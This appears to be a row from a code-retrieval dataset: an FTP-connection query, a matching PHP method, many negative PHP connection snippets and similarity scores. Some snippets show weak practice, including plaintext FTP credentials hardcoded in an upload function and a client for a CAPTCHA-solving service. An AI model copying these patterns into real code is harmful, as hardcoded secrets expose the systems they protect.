// * the ftp-server port (of type int)\n\t\t'user'\t =>\t'username ftp', \t\t\t\t// * ftp-user\n\t\t'pass'\t =>\t'password ftp',\t \t\t\t\t// * ftp-password\n\t\t'cdn' => 'subdomain.domain.com',\t\t\t// * This have to be a pointed domain or subdomain to the root of the uploads\n\t\t'path'\t =>\t'/',\t \t\t\t\t\t// - ftp-path, default is root (/). Change here and add the dir on the ftp-server,\n\t\t'base'\t => $upload_dir['basedir'] \t// Basedir on local \n\t);\n\t/**\n\t * Change the upload url to the ftp-server\n\t */\n\tif( empty( $upload_url ) ) {\n\t\tupdate_option( 'upload_url_path', esc_url( $settings['cdn'] ) );\n\t}\n\t/**\n\t * Host-connection\n\t * Read about it here: http://php.net/manual/en/function.ftp-connect.php\n\t */\n\t\n\t$connection = ftp_connect( $settings['host'], $settings['port'] );\n\t/**\n\t * Login to ftp\n\t * Read about it here: http://php.net/manual/en/function.ftp-login.php\n\t */\n\t$login = ftp_login( $connection, $settings['user'], $settings['pass'] );\n\t\n\t/**\n\t * Check ftp-connection\n\t */\n\tif ( !$connection || !$login ) {\n\t die('Connection attempt failed, Check your settings');\n\t}\n\tfunction ftp_putAll($conn_id, $src_dir, $dst_dir, $created) {\n $d = dir($src_dir);\n\t while($file = $d->read()) { // do this for each file in the directory\n\t if ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\t if (is_dir($src_dir.\"/\".$file)) { // do the following if it is a directory\n\t if (!@ftp_chdir($conn_id, $dst_dir.\"/\".$file)) {\n\t ftp_mkdir($conn_id, $dst_dir.\"/\".$file); // create directories that do not yet exist\n\t }\n\t $created = ftp_putAll($conn_id, $src_dir.\"/\".$file, $dst_dir.\"/\".$file, $created); // recursive part\n\t } else {\n\t $upload = ftp_put($conn_id, $dst_dir.\"/\".$file, $src_dir.\"/\".$file, FTP_BINARY); // put the files\n\t if($upload)\n\t \t$created[] = $src_dir.\"/\".$file;\n\t }\n\t }\n\t }\n\t $d->close();\n\t return $created;\n\t}\n\t/**\n\t * If we ftp-upload successfully, mark it for deletion\n\t * http://php.net/manual/en/function.ftp-put.php\n\t */\n\t$delete = ftp_putAll($connection, $settings['base'], $settings['path'], array());\n\t\n\t// Delete all successfully-copied files\n\tforeach ( $delete as $file ) {\n\t\tunlink( $file );\n\t}\n\t\n\treturn $args;\n}", "protected function openFile() {}", "function Uploadfile($filename){\n\techo (\"Attempting to connect through FTP...\\n\"); \n\t$conn_id = ftp_connect('login.yahoo.com');\n\n\t // check connection\n\tif(!$conn_id){\n\t\techo \"Connection Failed \\n\";\n\t\texit ; \n\t}\n\telse\n\t\techo \"Connection Established \\n\";\n\t\n\t// login with username and password\n\techo (\"Logging in...\\n\");\n\t$login_result = ftp_login ($conn_id, 'yqa_jaya_arflow26', 'abcd1234abcd');\n\n\t// check result\n\tif(!$login_result){\n\t\techo \"Login Failed \\n\";\n\t\texit;\n\t}\n\telse\n\t\techo \"Login Successful \\n\";\n\n\t// upload the file\n\techo (\"Uploading '$filename' ... \\n\");\n\t$destination= '/public_html/uploads/' . $filename;\n\t$source =dirname(__FILE__). '/'.$filename;\n\t$upload =ftp_put($conn_id,$destination,$source, FTP_BINARY);\n\t\n\t//Check result\n\tif($upload)\n\t\techo \"Uploaded successfully\";\n\telse{\n\t\techo \"Upload failed\" ;\n\t\texit;\n\t}\n\t\n\t// close our connection\n\techo \"Closing FTP connection \\n\";\n\tftp_close($conn_id);\t\n\techo \"Connection Closed \\n\";\n}", "function get($localfile, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_get($this->_socket, $localfile, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \tif (@file_exists($localfile)) {\r\n \t\t$this->debug(\"Warning : local file will be overwritten\\n\");\r\n \t} else {\r\n \t\tumask($this->_umask);\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"w\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Error : Cannot create \\\"\".$localfile.\"\\\"\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file \\\"\".$localfile.\"\\\"\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "protected function openFile ()\n {\n $this->file_handle = fopen($this->file_path, \"a+\");\n }", "public static function open()\n {\n // check if already opened\n if (!self::$file) {\n self::$file = new rex_log_file(self::getPath(), 2000000);\n }\n }", "function setMode($mode) {\r\n\t\tif ( ($mode == FTP_ASCII) || ($mode == FTP_BINARY) ) {\r\n\t\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_MODE => $mode));\r\n\t\t\treturn $this;\r\n\t\t} else {\r\n\t\t\tthrow new ftpException('FTP-Mode has either to be FTP_ASCII or FTP_BINARY');\r\n\t\t}\r\n\t}", "public function connect(){\r\n\t\t\r\n\t\t// check if we need to convert host to IP\r\n\t\tif (!preg_match('/([0-9]{1,3}\\\\.){3,3}[0-9]{1,3}/', $this->host)) {\r\n\t\t\t\r\n\t\t\t$ip = gethostbyname($this->host);\r\n\t\t\t\r\n\t\t\tif($this->host == $ip){\r\n\t\t\t\t\r\n\t\t\t\tthrow new Exception(\"Cannot resolve $this->host\");\r\n\t\t\t\t\r\n\t\t\t} else{\r\n\t\t\t\t$this->host = $ip; \r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// attempt connection\r\n\t\t$this->socket = fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);\r\n\t\t\r\n\t\tif (!$this->socket){ \t\r\n\t\t\tthrow new Exception(\"Cannot connect to $this->host on port $this->port\");\r\n\t\t}\r\n\t\t\r\n\t\treturn self::TELNET_OK;\r\n\t}", "public function openConnection(): bool;", "public function openConnection(): bool;", "public function close() {\n if ($this->getActive()) {\n // Close the connection\n if (ftp_close($this->_connection)) {\n return true;\n } else {\n return false;\n }\n\n $this->_active = false;\n $this->_connection = null;\n $this->_errors = null;\n } else {\n throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.');\n }\n }", "protected function openConn() {\n $database = new Database();\n $this->conn = $database->getConnection();\n }", "protected function openConn()\n {\n $database = new Database();\n $this->conn = $database->getConnection();\n }", "private function open()\n {\n $this->fileHandle = fopen($this->path, \"c+\");\n if (! is_resource($this->fileHandle)) {\n throw new StorageException(\"Could not open '$this->path'.\");\n }\n $this->mutex = new FlockMutex($this->fileHandle);\n }", "function ftpFiles($id, $archivo, $destino){\r\n\t//die(\"ftpFiles: $id - $archivo - $destino<br />\");\r\n\textract($GLOBALS);\r\n\t$aux = split(\"@\", $destino);\r\n\t$dir_crops = $aux[0] . \"/\";\r\n\t$server = $aux[1];\r\n\t$dir_id = calcularCarpeta($id) . \"/\";\r\n\t$auxFile = pathinfo($archivo);\r\n\t$localFile = $auxFile[\"basename\"];\r\n\t\r\n\tswitch($server){\r\n\t\tcase \"USA\": $dir_final = DIR_WP_USA;break;\t\t\r\n\t\tcase \"241\": $dir_final = DIR_WP_241;\tbreak;\r\n\t}\r\n\t\r\n\t$remoteFilePath = \"$dir_final$dir_crops$dir_id$localFile\";\r\n\tprint \"$dir_crops - $localFile creado!<br />\";\r\n\t//------------------ftp login---------------------------------------------------------------------------------\r\n\t$ftp = new Ftp($servers[$server][0], $servers[$server][1], $servers[$server][2]);\r\n\tif( !$ftp->login() ){\r\n\t\terror(\"No se pudo conectar al FTP: $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t};\r\n\t\r\n\tif( !$ftp->cambiarAcarpeta($dir_final . $dir_crops ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_final . $dir_crops ) ){\r\n\t\t\terror(\"No se pudo crear la carpeta: $dir_final . $dir_crops\", false);\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie();\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta($dir_final . $dir_crops);\r\n\t}\r\n\t\t\r\n\tif( !$ftp->cambiarAcarpeta( $dir_id ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_id ) ){\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie(\"No se pudo crear la carpeta: \" . $dir_final . $dir_crops . $dir_id);\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta( $dir_id );\r\n\t}\r\n\t\r\n\tif( !$ftp->subir( $archivo, $localFile) ){\r\n\t\tprint \"no se pudo subir ($archivo a $remoteFilePath en $server)\\n\";\r\n\t\terror(\"No se pudo subir $archivo a $remoteFilePath en $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t\tdie();\r\n\t}else{\r\n\t\t@unlink($archivo);\r\n\t\tprint $localFile . \" subido a: $server!!<br />\";\r\n\t}\r\n\r\n\t//$ftp->logout();\r\n\t//print \"$remoteFilePath@$server@$destino <br />\";\r\n\t$_SESSION['subidos'][] = \"$remoteFilePath@$server@$destino\";\r\n}", "function connect($server, $port = 21)\r\n {\r\n\t\t$this->debug(\"Trying to \".$server.\":\".$port.\" ...\\n\");\r\n \tif ($this->_use_mod_ftp) {\r\n \t\t$this->_socket = ftp_connect($server, $port);\r\n \t} else {\r\n \t \t$this->_socket = @fsockopen($server, $port, $errno, $errstr, $this->_timeout);\r\n \t}\r\n\r\n \tif ($this->_socket && $this->ok() ) {\r\n \t\t$this->debug(\"Connected to remote host \\\"\".$server.\":\".$port.\"\\\"\\n\");\r\n \t\treturn true;\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host \\\"\".$server.\":\".$port.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : \".$errstr.\" (\".$errno.\")\\n\");\r\n \t\treturn false;\r\n \t}\r\n }", "public function stream_open($path, $mode, $options, &$opened_path) {\n $this->database = new Database();\n $this->DBH = $this->database->get_connection();\n $this->temporary_database = \"stop_reference_temp\";\n $this->permanent_database = \"stop_reference\";\n $this->stop_reference_schema = \n \t\"(stoppointname,stopid,stopcode1,stopcode2,stoppointtype,towards,bearing,\"\n .\"stoppointindicator,stoppointstate,latitude,longitude) \";\n return true;\n }", "public function connect()\n\t{\n\t\t$this->isConnected = false;\n\n\t\t$this->connectInternal();\n\t}", "function connect() {\n $this->conn = imap_open('{'.$this->server.'/notls}', $this->user, $this->pass);\n }", "protected function conn_open($url) {\n\t\t$this->url = $url;\n\n\t\t$conn = static::conn_get($url);\n\t\tif ($conn === false) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->conn = $conn;\n\t\treturn true;\n\t}", "protected function _connect()\n {\n if (null === $this->_sock) {\n if ($this->is_verbose) {\n fputs(STDERR, time() . \" CONN\\n\");\n }\n\n $errno = 0;\n $error = '';\n $port = rand(self::FIRST_PORT, self::LAST_PORT);\n $sock = null;\n\n if (!($sock = @fsockopen(self::HOST, $port, $errno, $error, self::DEFAULT_TIMEOUT))) {\n throw new DeathByCaptcha_IOException(\n 'Failed connecting to ' . self::HOST . \":{$port}: fsockopen(): [{$errno}] {$error}\"\n );\n } else if (!@stream_set_timeout($sock, self::DEFAULT_TIMEOUT / 4)) {\n fclose($sock);\n throw new DeathByCaptcha_IOException(\n 'Failed setting socket timeout'\n );\n } else {\n $this->_sock = $sock;\n }\n }\n\n return $this;\n }" ]
[ "0.6949359", "0.69314957", "0.68729174", "0.6826092", "0.67278045", "0.6665359", "0.66477066", "0.6630462", "0.6557362", "0.653073", "0.64771575", "0.64687806", "0.6431577", "0.6191675", "0.6151371", "0.6140519", "0.6046462", "0.597123", "0.59678894", "0.5966622", "0.59290165", "0.59281707", "0.58819073", "0.57735795", "0.5716812", "0.57166886", "0.570778", "0.5697735", "0.56852686", "0.5597656", "0.5590933", "0.5579066", "0.55219936", "0.55110395", "0.550412", "0.54741347", "0.5467877", "0.5460903", "0.5422491", "0.54223657", "0.5395499", "0.5381387", "0.53804946", "0.5345683", "0.53432345", "0.5309012", "0.5306732", "0.5306732", "0.52727216", "0.525989", "0.5210538", "0.52066296", "0.51950395", "0.51863736", "0.5176486", "0.5172624", "0.5145399", "0.51424724", "0.51323825", "0.51175153", "0.51077724", "0.5106553", "0.5086449", "0.50846845", "0.50824004", "0.507782", "0.5076318", "0.50598586", "0.50591063", "0.50550133", "0.5050114", "0.50321686", "0.50110686", "0.49646267", "0.4952633", "0.49504504", "0.49427924", "0.49325892", "0.49324587", "0.49272653", "0.49209714", "0.4916354", "0.49057513", "0.48909324", "0.48818934", "0.48809692", "0.48755017", "0.4856541", "0.4855516", "0.4855516", "0.48466754", "0.4840284", "0.4839878", "0.483216", "0.48281708", "0.48199064", "0.48142174", "0.48128203", "0.48072743", "0.48016384", "0.47944564" ]
0.0
-1
Connect to FTP if it is currently not
public function connect() { if ($this->_connection === null) { // Connect - SSL? $this->_connection = $this->ssl ? ftp_ssl_connect($this->host, $this->port, $this->timeout) : ftp_connect($this->host, $this->port, $this->timeout); // $this->_connection = $this->ssl ? ftp_connect($this->host, $this->port, $this->timeout) : ftp_ssl_connect($this->host, $this->port, $this->timeout); // Connection anonymous? if (!empty($this->username) AND !empty($this->password)) { $login_result = ftp_login($this->_connection, $this->username, $this->password); } else { $login_result = true; } // Check connection if (!$this->_connection) throw new CHttpException(403, 'FTP Library Error: Connection failed!'); // Check login if ((empty($this->username) AND empty($this->password)) AND !$login_result) throw new CHttpException(403, 'FTP Library Error: Login failed!'); $this->_active = true; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function _connectFTP()\n\t{\n\t\tJoomlapackLogger::WriteLog(_JP_LOG_DEBUG, 'Connecting to remote FTP');\n\t\t// Connect to the FTP server\n\t\tif($this->_usessl)\n\t\t{\n\t\t\tif(function_exists('ftp_ssl_connect'))\n\t\t\t{\n\t\t\t\t$this->_ftphandle = @ftp_ssl_connect($this->_host, $this->_port);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->_ftphandle = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_ftphandle = @ftp_connect($this->_host, $this->_port);\n\t\t}\n\n\t\tif(!is_resource($this->_ftphandle))\n\t\t{\n\t\t\t$this->setError('Could not connect to remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Login\n\t\tif(!@ftp_login($this->_ftphandle, $this->_user, $this->_pass))\n\t\t{\n\t\t\t$this->setError('Invalid username/password for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Change to initial directory\n\t\tif(!@ftp_chdir($this->_ftphandle, $this->_initdir))\n\t\t{\n\t\t\t$this->setError('Invalid initial directory for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_currentdir = $this->_initdir;\n\n\t\t@ftp_pasv($this->_ftphandle, $this->_passive);\n\t\treturn true;\n\t}", "public function ftpConnect() {\n\t\t\t$this->ftpConnection = ftp_connect($this->ftp['server']);\n\t\t\t\n\t\t\tif(ftp_login($this->ftpConnection, $this->ftp['user'], $this->ftp['password'])) {\n\t\t\t\t\n\t\t\t\tif(!empty($this->ftp['defaultDirectory'])) {\n\t\t\t\t\tftp_chdir($this->ftpConnection, $this->ftp['defaultDirectory']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->system->addSyslog($this->name, \"FTP successfully connected.\");\n\t\t\t\treturn $this->ftpConnection;\n\t\t\t}\n\t\t\telse $this->system->addSyslog($this->name, \"Can't connect to FTP.\");\n\t\t\t\n\t\t\treturn null;\n\t\t}", "public function connect() {\n if(!isset($this->_ip) || !isset($this->_ftpUsername) || !isset($this->_ftpPassword)) {\n trigger_error(\"IP, username, or password is not set\");\n return FALSE;\n }\n \n $this->_ftpConnection = ftp_connect($this->_ip);\n \n if(!$this->_ftpConnection) {\n trigger_error(\"Couldn't open FTP connection to \" . $this->_ip);\n return FALSE;\n }\n \n if(!ftp_login($this->_ftpConnection, $this->_ftpUsername, $this->_ftpPassword)) {\n trigger_error(\"Couldn't login to FTP\");\n return FALSE;\n }\n \n $this->_connected = TRUE;\n \n return TRUE;\n }", "protected function _connectFtp($ftp){\n\t\t\tif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == true){\n\t\t\t\treturn true; //on a déjà la bonne connexion\n\t\t\t}\n\t\t\telseif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == false){ //on n'est pas encore connecté\n\t\t\t\t$this->_connexion = ftp_connect(\n\t\t\t\t\t$this->_connexionId[$ftp]['host'], \n\t\t\t\t\t$this->_connexionId[$ftp]['port'],\n\t\t\t\t\t$this->_connexionId[$ftp]['timeout']\n\t\t\t\t);\n\n\t\t\t\tif($this->_connexion == true){\n\t\t\t\t\tif(ftp_login($this->_connexion, $this->_connexionId[$ftp]['username'], $this->_connexionId[$ftp]['password']) == true){\n\t\t\t\t\t\t$this->_connected[$ftp] = true;\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this->_addError('La connexion ftp de nom '.$ftp.' a échoué avec : username : '.$this->_connexionId[$ftp]['username'].', password : '.$this->_connexionId[$ftp]['password'], __FILE__, __LINE__, ERROR);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$this->_addError('La connexion ftp de nom '.$ftp.' a échoué avec : hôte : '.$this->_connexionId[$ftp]['host'].', port : '.$this->_connexionId[$ftp]['port'], __FILE__, __LINE__, ERROR);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->_addError('La connexion ftp à laquelle vous voulez vous connecter n\\'existe pas', __FILE__, __LINE__, ERROR);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "protected function initConnection()\n {\n\n $host = $this->connParam['host'] ?? null;\n $userName = $this->connParam['user'] ?? null;\n $password = $this->connParam['password'] ?? null;\n\n $this->FTPHandle = $this->connectFTP($host);\n\n return $this->loginFTP($this->FTPHandle, $userName, $password);\n }", "function fn_ftp_connect($settings, $show_notifications = false)\n{\n $result = true;\n\n if (function_exists('ftp_connect')) {\n if (!empty($settings['ftp_hostname'])) {\n $ftp_port = !empty($settings['ftp_port']) ? $settings['ftp_port'] : '21';\n if (substr_count($settings['ftp_hostname'], ':') > 0) {\n $start_pos = strrpos($settings['ftp_hostname'], ':');\n $ftp_port = substr($settings['ftp_hostname'], $start_pos + 1);\n $settings['ftp_hostname'] = substr($settings['ftp_hostname'], 0, $start_pos);\n }\n\n $ftp = @ftp_connect($settings['ftp_hostname'], $ftp_port);\n if (!empty($ftp)) {\n if (@ftp_login($ftp, $settings['ftp_username'], $settings['ftp_password'])) {\n\n ftp_pasv($ftp, true);\n\n if (!empty($settings['ftp_directory'])) {\n @ftp_chdir($ftp, $settings['ftp_directory']);\n }\n\n $files = ftp_nlist($ftp, '.');\n if (!empty($files) && in_array('config.php', $files)) {\n Registry::set('ftp_connection', $ftp);\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_cart_directory_not_found'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_login_failed'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_connect_failed'));\n }\n $result = false;\n }\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_no_ftp_module'));\n }\n $result = false;\n }\n\n return $result;\n}", "function setup($isPassive=TRUE) {\n\t\t// set up basic connection\n\t\t$this->conn_id = ftp_connect($this->ftp_server, $this->ftp_port); \n\n\t\t// login with username and password\n\t\t$this->login_result = ftp_login($this->conn_id, $this->ftp_user_name, $this->ftp_user_pass); \n\n\t\t// check connection\n\t\tif ((!$this->conn_id) || (!$this->login_result)) { \n\t\t\t\techo \"FTP connection has failed!\\n\";\n\t\t\t\techo \"Attempted to connect to $this->ftp_server for user $this->ftp_user_name\\n\"; \n\t\t\t\texit; \n\t\t} else {\n\t\t\t\techo \"Connected to $this->ftp_server,\\n\\t$this->ftp_user_name\\n\";\n\t\t}\n\n\t\tif($isPassive){\n\t\t\tftp_pasv($this->getConn_id(), TRUE);\n\t\t}\n\t}", "function createFTPConnection()\n{\n $settings = getSettings();\n if (empty($settings['seedbox']) || empty($settings['seedbox']['host']) || empty($settings['seedbox']['username'])\n || empty($settings['seedbox']['password'])\n ) {\n addLog('ERROR', 'No setting file found.', 'ftp');\n return false;\n } else {\n // Connect to seedbox with SSL\n $ftp = ftp_ssl_connect($settings['seedbox']['host'], intval($settings['seedbox']['port']));\n if (!$ftp) {\n addLog('ERROR', 'Wrong FTP host.', 'ftp');\n return false;\n }\n // Log with information set on settings screen\n if (!ftp_login($ftp, $settings['seedbox']['username'], $settings['seedbox']['password'])) {\n addLog('ERROR', 'Wrong FTP login or password.', 'ftp');\n return false;\n };\n\n // Enter on passive mode\n if (ftp_pasv($ftp, true)) {\n return $ftp;\n } else {\n addLog('ERROR', 'Unable to switch to passive mode.', 'ftp');\n return false;\n }\n }\n}", "public function connect()\n {\n $server = $this->server;\n\n // Make sure the path has a trailing slash.\n $server['path'] = rtrim($server['path'], '/').'/';\n\n // Make the connection.\n $connection = @ftp_connect($server['host'], $server['port']);\n\n if (! $connection)\n {\n throw new Exception(\"Couldn't connect to '{$server['host']}'.\");\n }\n\n // Try logging in.\n if (! @ftp_login($connection, $server['username'], $server['password']))\n {\n throw new Exception(\"Couldn't login to '{$server['host']}' with user '{$server['username']}'\");\n }\n\n // Set passive mode from connection config.\n ftp_pasv($connection, (bool) $server['passive']);\n\n // Try changing the directory to the one set\n // in the connection config.\n if (! ftp_chdir($connection, $server['path']))\n {\n throw new Exception(\"Couldn't change the FTP directory to '{$server['path']}'.\");\n }\n\n $this->connection = $connection;\n }", "function Pico_GetFTPObject()\n{\n\t// get ftp object if we need one\n\tif (!isset($GLOBALS['pico_ftp_obj']))\n\t{\n\t\t$ftp = @Pico_ConnectFTP();\n\t\t$GLOBALS['pico_ftp_obj'] = $ftp;\n\t}\n\n\t$ftp = $GLOBALS['pico_ftp_obj'];\n\tif (is_object($ftp)) { return $ftp; }\n\n\treturn false;\n}", "protected function checkFtpAccess() {\n global $_ARRAYLANG;\n\n // Only check FTP access if SystemInfo has been licensed.\n // SystemInfo is a component that allows access to the webserver.\n // SystemInfo should only be licensed if the website is run on a self-hosted environment\n if (!in_array('SystemInfo', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n return;\n }\n\n // if ftp access is not activated or not possible to connect (not correct credentials)\n if(!\\Cx\\Lib\\FileSystem\\FileSystem::init()) {\n \\Message::add(sprintf($_ARRAYLANG['TXT_SETTING_FTP_CONFIG_WARNING'], \\Env::get('cx')->getWebsiteDocumentRootPath() . '/config/configuration.php'), \\Message::CLASS_ERROR);\n }\n }", "function TpDbgConnect()\n{\n global $TpDbg;\n if (!isset($TpDbg))\n {\n $TpDbg = ftp_connect(\"localhost\", 999, 20);\n if ($TpDbg)\n ftp_login($TpDbg, \"PHP\", \"TURBO\");\n else\n echo \"TurboPhp: Could not connect to debug server.<br>\";\n }\n return $TpDbg;\n}", "function connect($host = null, $port = null) {\r\n\t\t$this->_matcher = null;\r\n\t\tif ( $host !== null ) {\r\n\t\t\t$this->setHostname($host);\r\n\t\t}\r\n\t\tif ( $port !== null ) {\r\n\t\t\t$this->setPort($port);\r\n\t\t}\r\n\t\t$handle = ftp_connect($this->getHostname(), $this->getPort(), $this->getTimeoutOption());\r\n\t\tif ( !$handle ) {\r\n\t\t\t$this->_handle = false;\r\n\t\t\tthrow new ftpConnectException($this->getHostname(), $this->getPort());\r\n\t\t} else {\r\n\t\t\t$this->_handle = $handle;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function checkConnection() : bool\n {\n if (is_null($this->FTPHandle)) throw new \\Exception(\"No FTP connection\");\n return true;\n }", "private function initShopConnection()\n\t{\n\t\t$this->ftpConnection = new FtpConnector($this->shop->ftp_host, $this->shop->ftp_login, $this->shop->ftp_password);\n\t}", "protected function getFtpConnection()\n {\n if (is_null($this->ftpConnection)) {\n $host = $this->connection['host'];\n $user = $this->connection['user'];\n $pass = $this->connection['pass'];\n\n $this->ftpConnection = $this->connect($host, $user, $pass);\n\n // set timeout\n ftp_set_option($this->ftpConnection, FTP_TIMEOUT_SEC, $this->connection['timeout']);\n\n // set passive mode if it's defined\n if (null !== $pasv = $this->getPasv()) {\n ftp_pasv($this->ftpConnection, $pasv);\n }\n }\n\n return $this->ftpConnection;\n }", "function ftplib()\r\n {\r\n\t $this->_debug = false;\r\n $this->_umask = 0022;\r\n $this->_timeout = 30;\r\n $this->_BINARY = 1;\r\n $this->_ASCII = 0;\r\n /*if (function_exists(\"ftp_connect\")) {\r\n \t\t$this->_use_mod_ftp = true;\r\n \t} else {*/\r\n \r\n\t\t\t$this->_use_mod_ftp = false;\r\n \t//}\r\n }", "function _connect(&$fp)\n\t{\n\t\tif(!empty($this->proxy_host) && !empty($this->proxy_port))\n\t\t\t{\n\t\t\t\t$this->_isproxy = true;\n\t\t\t\t\n\t\t\t\t$host = $this->proxy_host;\n\t\t\t\t$port = $this->proxy_port;\n\t\t\t}\n\t\telse\n\t\t{\n\t\t\t$host = $this->host;\n\t\t\t$port = $this->port;\n\t\t}\n\t\n\t\t$this->status = 0;\n\t\t\n\t\tif($fp = fsockopen(\n\t\t\t\t\t$host,\n\t\t\t\t\t$port,\n\t\t\t\t\t$errno,\n\t\t\t\t\t$errstr,\n\t\t\t\t\t$this->_fp_timeout\n\t\t\t\t\t))\n\t\t{\n\t\t\t// socket connection succeeded\n\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// socket connection failed\n\t\t\t$this->status = $errno;\n\t\t\tswitch($errno)\n\t\t\t{\n\t\t\t\tcase -3:\n\t\t\t\t\t$this->error=\"socket creation failed (-3)\";\n\t\t\t\tcase -4:\n\t\t\t\t\t$this->error=\"dns lookup failure (-4)\";\n\t\t\t\tcase -5:\n\t\t\t\t\t$this->error=\"connection refused or timed out (-5)\";\n\t\t\t\tdefault:\n\t\t\t\t\t$this->error=\"connection failed (\".$errno.\")\";\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t}", "function checkFTPSupport() {\n if (extension_loaded(\"ftp\")) {\n return true;\n } else {\n return false;\n }\n }", "public function connect($options = array())\n {\n //todo can this be a stream?\n $this->temp = '/Users/amystephen/Sites/Filesystem/.dev/Tests/Hold/amy.txt';\n\n parent::connect($options);\n\n if ($this->is_connected === true) {\n return;\n }\n\n try {\n if ($this->getConnectType() == 'ftps') {\n\n if (function_exists('ftp_ssl_connect')) {\n throw new InvalidArgumentException\n ('ftp_ssl_connect must be enabled in PHP to use SSL over Ftp');\n }\n\n $id = \\ftp_ssl_connect($this->host, $this->port, $this->timeout);\n\n } else {\n $id = \\ftp_connect($this->host, $this->port, $this->timeout);\n }\n\n $this->setConnection($id);\n\n } catch (\\Exception $e) {\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to connect to the Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n if ($this->is_connected === false) {\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Not connected '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n \\ftp_pasv($this->connection, $this->getPassiveMode());\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to set passive mode for Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n $this->login();\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Login failed for ' . ' User: ' . $this->username\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n $this->is_windows = false;\n\n $ftpSystemType = \\ftp_systype($this->getConnection());\n\n if (stripos($ftpSystemType, 'win') == false) {\n $this->is_windows = false;\n } else {\n $this->is_windows = true;\n }\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Login failed for ' . ' User: ' . $this->username\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n if ($this->initial_directory === null) {\n $results = true;\n } else {\n $results = \\ftp_chdir($this->connection, $this->initial_directory);\n }\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Changing 